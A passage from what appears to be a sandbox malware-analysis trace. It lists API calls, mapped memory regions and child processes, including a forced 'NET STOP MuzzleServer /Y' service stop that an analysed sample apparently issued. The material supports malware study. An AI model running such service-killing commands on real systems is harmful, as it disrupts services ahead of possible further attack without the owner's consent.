lpExitCode=0x32f2f0*=0x2) returned 1 [0039.566] CloseHandle (hObject=0x7c) returned 1 [0039.566] _vsnwprintf (in: _Buffer=0x32f438, _BufferCount=0x13, _Format="%08X", _ArgList=0x32f2fc | out: _Buffer="00000002") returned 8 [0039.566] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0039.566] GetEnvironmentStringsW () returned 0x3b2b18* [0039.567] FreeEnvironmentStringsW (penv=0x3b2b18) returned 1 [0039.567] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0039.567] GetEnvironmentStringsW () returned 0x3b2b18* [0039.567] FreeEnvironmentStringsW (penv=0x3b2b18) returned 1 [0039.567] DeleteProcThreadAttributeList (in: lpAttributeList=0x32f354 | out: lpAttributeList=0x32f354) [0039.567] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.567] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.567] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.567] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6341ac | out: lpMode=0x4a6341ac) returned 1 [0039.567] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.567] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6341b0 | out: lpMode=0x4a6341b0) returned 1 [0039.568] SetConsoleInputExeNameW () returned 0x1 [0039.568] GetConsoleOutputCP () returned 0x1b5 [0039.568] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a634260 | out: lpCPInfo=0x4a634260) returned 1 [0039.568] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.568] exit (_Code=2) Process: id = "24" image_name = "net.exe" filename = "c:\\windows\\syswow64\\net.exe" page_root = "0x4ce74000" os_pid = "0xb30" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "23" os_parent_pid = "0xb18" cmd_line = "NET STOP MuzzleServer /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1301 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1302 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1303 start_va = 0x40000 end_va = 0x57fff entry_point = 0x40000 region_type = mapped_file name = "net.exe" filename = "\\Windows\\SysWOW64\\net.exe" (normalized: "c:\\windows\\syswow64\\net.exe") Region: id = 1304 start_va = 0x60000 end_va = 0x60fff entry_point = 0x60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1305 start_va = 0x70000 end_va = 0x73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 1306 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 1307 start_va = 0x150000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1308 start_va = 0x220000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1309 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1310 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1311 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1312 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1313 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1314 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1315 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1316 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1317 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1318 start_va = 0x350000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 1319 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1320 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1321 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1322 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1323 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1324 start_va = 0x90000 end_va = 0xf6fff entry_point = 0x90000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1325 start_va = 0x480000 end_va = 0x57ffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1326 start_va = 0x6e0000 end_va = 0x6effff entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 1327 start_va = 0x751e0000 end_va = 0x751fbfff entry_point = 0x751e0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1328 start_va = 0x75200000 end_va = 0x75218fff entry_point = 0x75200000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1329 start_va = 0x75220000 end_va = 0x75226fff entry_point = 0x75220000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1330 start_va = 0x75230000 end_va = 0x7523efff entry_point = 0x75230000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 1331 start_va = 0x75240000 end_va = 0x7524cfff entry_point = 0x75240000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 1332 start_va = 0x75250000 end_va = 0x7525efff entry_point = 0x75250000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 1333 start_va = 0x75270000 end_va = 0x75278fff entry_point = 0x75270000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1334 start_va = 0x75280000 end_va = 0x75291fff entry_point = 0x75280000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1335 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1336 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1337 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1338 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1339 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1340 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1341 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1342 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1343 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1344 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1345 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1346 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1347 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Thread: id = 25 os_tid = 0xb34 Process: id = "25" image_name = "net1.exe" filename = "c:\\windows\\syswow64\\net1.exe" page_root = "0x4caaf000" os_pid = "0xb38" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0xb30" cmd_line = "C:\\Windows\\system32\\net1 STOP MuzzleServer /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1348 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1349 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1350 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1351 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1352 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1353 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 1354 start_va = 0x150000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1355 start_va = 0xa20000 end_va = 0xa49fff entry_point = 0xa20000 region_type = mapped_file name = "net1.exe" filename = "\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe") Region: id = 1356 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1357 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1358 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1359 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1360 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1361 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1362 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1363 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1364 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1365 start_va = 0xc0000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1366 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1367 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1368 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1369 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1370 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1371 start_va = 0x1e0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1372 start_va = 0x2e0000 end_va = 0x346fff entry_point = 0x2e0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1373 start_va = 0x380000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 1374 start_va = 0x75130000 end_va = 0x75147fff entry_point = 0x75130000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 1375 start_va = 0x75150000 end_va = 0x75161fff entry_point = 0x75150000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\SysWOW64\\samlib.dll" (normalized: "c:\\windows\\syswow64\\samlib.dll") Region: id = 1376 start_va = 0x75170000 end_va = 0x75180fff entry_point = 0x75170000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 1377 start_va = 0x75190000 end_va = 0x751b1fff entry_point = 0x75190000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\SysWOW64\\logoncli.dll" (normalized: "c:\\windows\\syswow64\\logoncli.dll") Region: id = 1378 start_va = 0x751c0000 end_va = 0x751c8fff entry_point = 0x751c0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\SysWOW64\\dsrole.dll" (normalized: "c:\\windows\\syswow64\\dsrole.dll") Region: id = 1379 start_va = 0x75200000 end_va = 0x75218fff entry_point = 0x75200000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1380 start_va = 0x75230000 end_va = 0x7523efff entry_point = 0x75230000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 1381 start_va = 0x75240000 end_va = 0x7524cfff entry_point = 0x75240000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 1382 start_va = 0x75250000 end_va = 0x7525efff entry_point = 0x75250000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 1383 start_va = 0x75270000 end_va = 0x75278fff entry_point = 0x75270000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1384 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1385 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1386 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1387 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1388 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1389 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1390 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1391 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1392 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1393 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1394 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1395 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1396 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1397 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1398 start_va = 0x751d0000 end_va = 0x751d1fff entry_point = 0x751d0000 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\SysWOW64\\netmsg.dll" (normalized: "c:\\windows\\syswow64\\netmsg.dll") Thread: id = 26 os_tid = 0xb3c [0039.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cff54 | out: lpSystemTimeAsFileTime=0x1cff54*(dwLowDateTime=0xd8c13da0, dwHighDateTime=0x1d4abdd)) [0039.526] GetCurrentProcessId () returned 0xb38 [0039.526] GetCurrentThreadId () returned 0xb3c [0039.526] GetTickCount () returned 0x1a0d0 [0039.526] QueryPerformanceCounter (in: lpPerformanceCount=0x1cff4c | out: lpPerformanceCount=0x1cff4c*=1811475600000) returned 1 [0039.526] GetModuleHandleA (lpModuleName=0x0) returned 0xa20000 [0039.526] __set_app_type (_Type=0x1) [0039.526] __p__fmode () returned 0x75ed31f4 [0039.526] __p__commode () returned 0x75ed31fc [0039.527] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xa2ffe6) returned 0x0 [0039.527] __getmainargs (in: _Argc=0xa39064, _Argv=0xa3906c, _Env=0xa39068, _DoWildCard=0, _StartInfo=0xa39024 | out: _Argc=0xa39064, _Argv=0xa3906c, _Env=0xa39068) returned 0 [0039.527] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0039.527] GetConsoleOutputCP () returned 0x1b5 [0039.527] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xa39080 | out: lpCPInfo=0xa39080) returned 1 [0039.527] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.531] sprintf_s (in: _DstBuf=0x1cff0c, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4 [0039.531] setlocale (category=0, locale=".437") returned="English_United States.437" [0039.534] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0039.534] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0039.534] GetCommandLineW () returned="C:\\Windows\\system32\\net1 STOP MuzzleServer /Y" [0039.534] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1cfcd8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe")) returned 0x1c [0039.534] _wcsnicmp (_String1="/Y", _String2="/Y", _MaxCount=0x2) returned 0 [0039.535] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x1cfedc | out: Buffer=0x1cfedc*=0x1f1c08) returned 0x0 [0039.535] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x1cfedc | out: Buffer=0x1cfedc*=0x1f1c20) returned 0x0 [0039.535] _fileno (_File=0x75ed2900) returned 0 [0039.535] _setmode (_FileHandle=0, _Mode=16384) returned 16384 [0039.535] _wcsicmp (_String1="accounts", _String2="STOP") returned -18 [0039.535] _wcsicmp (_String1="computer", _String2="STOP") returned -16 [0039.535] _wcsicmp (_String1="config", _String2="STOP") returned -16 [0039.535] _wcsicmp (_String1="continue", _String2="STOP") returned -16 [0039.535] _wcsicmp (_String1="cont", _String2="STOP") returned -16 [0039.535] _wcsicmp (_String1="file", _String2="STOP") returned -13 [0039.535] _wcsicmp (_String1="files", _String2="STOP") returned -13 [0039.535] _wcsicmp (_String1="group", _String2="STOP") returned -12 [0039.535] _wcsicmp (_String1="groups", _String2="STOP") returned -12 [0039.535] _wcsicmp (_String1="help", _String2="STOP") returned -11 [0039.535] _wcsicmp (_String1="helpmsg", _String2="STOP") returned -11 [0039.535] _wcsicmp (_String1="localgroup", _String2="STOP") returned -7 [0039.535] _wcsicmp (_String1="pause", _String2="STOP") returned -3 [0039.535] _wcsicmp (_String1="session", _String2="STOP") returned -15 [0039.535] _wcsicmp (_String1="sessions", _String2="STOP") returned -15 [0039.535] _wcsicmp (_String1="sess", _String2="STOP") returned -15 [0039.535] _wcsicmp (_String1="share", _String2="STOP") returned -12 [0039.535] _wcsicmp (_String1="start", _String2="STOP") returned -14 [0039.535] _wcsicmp (_String1="stats", _String2="STOP") returned -14 [0039.535] _wcsicmp (_String1="statistics", _String2="STOP") returned -14 [0039.536] _wcsicmp (_String1="stop", _String2="STOP") returned 0 [0039.536] _wcsicmp (_String1="accounts", _String2="MuzzleServer") returned -12 [0039.536] _wcsicmp (_String1="computer", _String2="MuzzleServer") returned -10 [0039.536] _wcsicmp (_String1="config", _String2="MuzzleServer") returned -10 [0039.536] _wcsicmp (_String1="continue", _String2="MuzzleServer") returned -10 [0039.536] _wcsicmp (_String1="cont", _String2="MuzzleServer") returned -10 [0039.536] _wcsicmp (_String1="file", _String2="MuzzleServer") returned -7 [0039.536] _wcsicmp (_String1="files", _String2="MuzzleServer") returned -7 [0039.536] _wcsicmp (_String1="group", _String2="MuzzleServer") returned -6 [0039.536] _wcsicmp (_String1="groups", _String2="MuzzleServer") returned -6 [0039.536] _wcsicmp (_String1="help", _String2="MuzzleServer") returned -5 [0039.536] _wcsicmp (_String1="helpmsg", _String2="MuzzleServer") returned -5 [0039.536] _wcsicmp (_String1="localgroup", _String2="MuzzleServer") returned -1 [0039.536] _wcsicmp (_String1="pause", _String2="MuzzleServer") returned 3 [0039.536] _wcsicmp (_String1="session", _String2="MuzzleServer") returned 6 [0039.536] _wcsicmp (_String1="sessions", _String2="MuzzleServer") returned 6 [0039.536] _wcsicmp (_String1="sess", _String2="MuzzleServer") returned 6 [0039.536] _wcsicmp (_String1="share", _String2="MuzzleServer") returned 6 [0039.536] _wcsicmp (_String1="start", _String2="MuzzleServer") returned 6 [0039.536] _wcsicmp (_String1="stats", _String2="MuzzleServer") returned 6 [0039.536] _wcsicmp (_String1="statistics", _String2="MuzzleServer") returned 6 [0039.536] _wcsicmp (_String1="stop", _String2="MuzzleServer") returned 6 [0039.536] _wcsicmp (_String1="time", _String2="MuzzleServer") returned 7 [0039.536] _wcsicmp (_String1="user", _String2="MuzzleServer") returned 8 [0039.536] _wcsicmp (_String1="users", _String2="MuzzleServer") returned 8 [0039.536] _wcsicmp (_String1="msg", _String2="MuzzleServer") returned -2 [0039.536] _wcsicmp (_String1="messenger", _String2="MuzzleServer") returned -16 [0039.536] _wcsicmp (_String1="receiver", _String2="MuzzleServer") returned 5 [0039.536] _wcsicmp (_String1="rcv", _String2="MuzzleServer") returned 5 [0039.536] _wcsicmp (_String1="netpopup", _String2="MuzzleServer") returned 1 [0039.536] _wcsicmp (_String1="redirector", _String2="MuzzleServer") returned 5 [0039.536] _wcsicmp (_String1="redir", _String2="MuzzleServer") returned 5 [0039.536] _wcsicmp (_String1="rdr", _String2="MuzzleServer") returned 5 [0039.536] _wcsicmp (_String1="workstation", _String2="MuzzleServer") returned 10 [0039.537] _wcsicmp (_String1="work", _String2="MuzzleServer") returned 10 [0039.537] _wcsicmp (_String1="wksta", _String2="MuzzleServer") returned 10 [0039.537] _wcsicmp (_String1="prdr", _String2="MuzzleServer") returned 3 [0039.537] _wcsicmp (_String1="devrdr", _String2="MuzzleServer") returned -9 [0039.537] _wcsicmp (_String1="lanmanworkstation", _String2="MuzzleServer") returned -1 [0039.537] _wcsicmp (_String1="server", _String2="MuzzleServer") returned 6 [0039.537] _wcsicmp (_String1="svr", _String2="MuzzleServer") returned 6 [0039.537] _wcsicmp (_String1="srv", _String2="MuzzleServer") returned 6 [0039.537] _wcsicmp (_String1="lanmanserver", _String2="MuzzleServer") returned -1 [0039.537] _wcsicmp (_String1="alerter", _String2="MuzzleServer") returned -12 [0039.537] _wcsicmp (_String1="netlogon", _String2="MuzzleServer") returned 1 [0039.537] _wcsupr (in: _String="MuzzleServer" | out: _String="MUZZLESERVER") returned="MUZZLESERVER" [0039.537] 